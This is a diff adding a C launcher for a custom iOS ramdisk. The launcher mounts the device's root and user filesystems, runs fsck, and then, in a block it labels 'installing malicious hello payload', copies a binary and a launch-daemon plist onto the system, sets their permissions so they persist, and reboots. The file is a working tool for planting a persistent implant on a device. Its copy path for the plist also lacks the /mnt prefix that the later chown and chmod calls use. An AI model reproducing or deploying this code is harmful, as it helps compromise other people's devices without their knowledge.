|
| 1 | +#include <fcntl.h> |
| 2 | +#include <sys/stat.h> |
| 3 | +#include <sys/wait.h> |
| 4 | +#include "/usr/include/hfs/hfs_mount.h" |
| 5 | + |
| 6 | +#define O_RDONLY 0x0000 |
| 7 | +#define O_WRONLY 0x0001 |
| 8 | +#define O_RDWR 0x0002 |
| 9 | +#define O_CREAT 0x0200 |
| 10 | +#define O_TRUNC 0x0400 |
| 11 | +#define O_EXCL 0x0800 |
| 12 | + |
| 13 | +static int console; |
| 14 | + |
| 15 | +const char* fsck_hfs[] = |
| 16 | + { "/sbin/fsck_hfs", "-y", "/dev/rdisk0s1s1", NULL }; |
| 17 | +const char* fsck_hfs_user[] = |
| 18 | + { "/sbin/fsck_hfs", "-y", "/dev/rdisk0s1s2", NULL }; |
| 19 | + |
| 20 | +void sleep(unsigned int sec) { |
| 21 | + int i; |
| 22 | + for (i = sec * 10000000; i>0; i--) { } |
| 23 | +} |
| 24 | + |
| 25 | +void puts(const char* s) { |
| 26 | + while ((*s) != '\0') { |
| 27 | + write(1, s, 1); |
| 28 | + s++; |
| 29 | + } |
| 30 | + sync(); |
| 31 | +} |
| 32 | + |
| 33 | +int cp(const char *src, const char *dest) { |
| 34 | + char buf[0x800]; |
| 35 | + struct stat s; |
| 36 | + int in, out, nr = 0; |
| 37 | + |
| 38 | + if (stat(src, &s) != 0) |
| 39 | + return -1; |
| 40 | + |
| 41 | + in = open(src, O_RDONLY, 0); |
| 42 | + if (in < 0) |
| 43 | + return -1; |
| 44 | + |
| 45 | + out = open(dest, O_WRONLY | O_CREAT, 0); |
| 46 | + if (out < 0) { |
| 47 | + close(in); |
| 48 | + return -1; |
| 49 | + } |
| 50 | + |
| 51 | + do { |
| 52 | + nr = read(in, buf, 0x800); |
| 53 | + if (nr > 0) { |
| 54 | + nr = write(out, buf, nr); |
| 55 | + } |
| 56 | + } while(nr > 0); |
| 57 | + |
| 58 | + close(in); |
| 59 | + close(out); |
| 60 | + |
| 61 | + if (nr < 0) |
| 62 | + return -1; |
| 63 | + |
| 64 | + return 0; |
| 65 | +} |
| 66 | + |
| 67 | +int hfs_mount(const char* device, const char* path, int options) { |
| 68 | + struct hfs_mount_args args; |
| 69 | + args.fspec = device; |
| 70 | + return mount("hfs", path, options, &args); |
| 71 | +} |
| 72 | + |
| 73 | +int fsexec(char* argv[], char* env[], int pause) { |
| 74 | + int pid = vfork(); |
| 75 | + if (pid != 0) { |
| 76 | + if (pause) { |
| 77 | + while (wait4(pid, NULL, WNOHANG, NULL) <= 0) { |
| 78 | + sleep(1); |
| 79 | + } |
| 80 | + } else { |
| 81 | + return pid; |
| 82 | + } |
| 83 | + } else { |
| 84 | + chdir("/mnt"); |
| 85 | + if (chroot("/mnt") != 0) |
| 86 | + return -1; |
| 87 | + execve(argv[0], argv, env); |
| 88 | + } |
| 89 | + return 0; |
| 90 | +} |
| 91 | + |
| 92 | +int main(int argc, char **argv, char **envp) { |
| 93 | + struct stat s; |
| 94 | + int r, i; |
| 95 | + |
| 96 | + console = open("/dev/console", O_WRONLY); |
| 97 | + dup2(console, 1); |
| 98 | + |
| 99 | + sleep(5); |
| 100 | + for(i=0;i<75;i++) |
| 101 | + puts("\n"); |
| 102 | + puts("ramdisk initialized.\n"); |
| 103 | + |
| 104 | + puts("searching for disk...\n"); |
| 105 | + while (stat("/dev/disk0s1s1", &s) != 0) { |
| 106 | + puts("waiting for /dev/disk0s1s1 to appear...\n"); |
| 107 | + sleep(30); |
| 108 | + } |
| 109 | + |
| 110 | + puts("mounting root filesystem...\n"); |
| 111 | + while(1) { |
| 112 | + if (hfs_mount("/dev/disk0s1s1", "/mnt", MNT_ROOTFS | MNT_RDONLY) != 0) { |
| 113 | + puts("unable to mount filesystem, waiting...\n"); |
| 114 | + sleep(10); |
| 115 | + } else { |
| 116 | + break; |
| 117 | + } |
| 118 | + } |
| 119 | + puts("filesystem mounted.\n"); |
| 120 | + puts("mounting devfs...\n"); |
| 121 | + if (mount("devfs", "/mnt/dev", 0, NULL) != 0) { |
| 122 | + puts("unable to mount devfs. aborting.\n"); |
| 123 | + unmount("/mnt", 0); |
| 124 | + return -1; |
| 125 | + } |
| 126 | + puts("devfs mounted\n"); |
| 127 | + |
| 128 | + puts("checking root filesystem...\n"); |
| 129 | + r = fsexec(fsck_hfs, envp, 1); |
| 130 | + if (r) { |
| 131 | + puts("unable to check root filesystem. aborting.\n"); |
| 132 | + unmount("/mnt/dev", 0); |
| 133 | + unmount("/mnt", 0); |
| 134 | + return -1; |
| 135 | + } |
| 136 | + |
| 137 | + puts("mounting root filesystem read-write...\n"); |
| 138 | + r = hfs_mount("/dev/disk0s1s1", "/mnt", MNT_ROOTFS | MNT_UPDATE); |
| 139 | + |
| 140 | + puts("checking user filesystem...\n"); |
| 141 | + r = fsexec(fsck_hfs_user, envp, 1); |
| 142 | + |
| 143 | + puts("mounting user filesystem...\n"); |
| 144 | + mkdir("/mnt/private/var", 0755); |
| 145 | + if (hfs_mount("/dev/disk0s1s2", "/mnt/private/var", MNT_RDONLY) != 0) { |
| 146 | + puts("unable to mount user filesystem. aborting.\n"); |
| 147 | + return -1; |
| 148 | + } |
| 149 | + puts("user filesystem mounted.\n"); |
| 150 | + |
| 151 | + puts("running custom operations...\n"); |
| 152 | + |
| 153 | + /* BEGIN: Custom operations */ |
| 154 | + |
| 155 | + puts("installing malicious hello payload..."); |
| 156 | + cp("/files/hello", "/mnt/usr/bin/hello"); |
| 157 | + cp("/files/com.yourdomain.hello.plist", |
| 158 | + "/System/Library/LaunchDaemons/com.yourdomain.hello.plist"); |
| 159 | + |
| 160 | + chown("/mnt/usr/bin/hello", 0, 80); |
| 161 | + chown("/mnt/System/Library/LaunchDaemons/com.yourdomain.hello.plist", |
| 162 | + 0, 80); |
| 163 | + chmod("/mnt/usr/bin/hello", 0755); |
| 164 | + chmod("/mnt/System/Library/LaunchDaemons/com.yourdomain.hello.plist", |
| 165 | + 0755); |
| 166 | + |
| 167 | + /* END: Custom operations */ |
| 168 | + |
| 169 | + sync(); |
| 170 | + |
| 171 | + puts("unmounting disks...\n"); |
| 172 | + unmount("/mnt/private/var", 0); |
| 173 | + unmount("/mnt/dev", 0); |
| 174 | + unmount("/mnt", 0); |
| 175 | + sync(); |
| 176 | + |
| 177 | + puts("rebooting device...\n"); |
| 178 | + |
| 179 | + close(console); |
| 180 | + reboot(1); |
| 181 | + return 0; |
| 182 | +} |
| 183 | + |
0 commit comments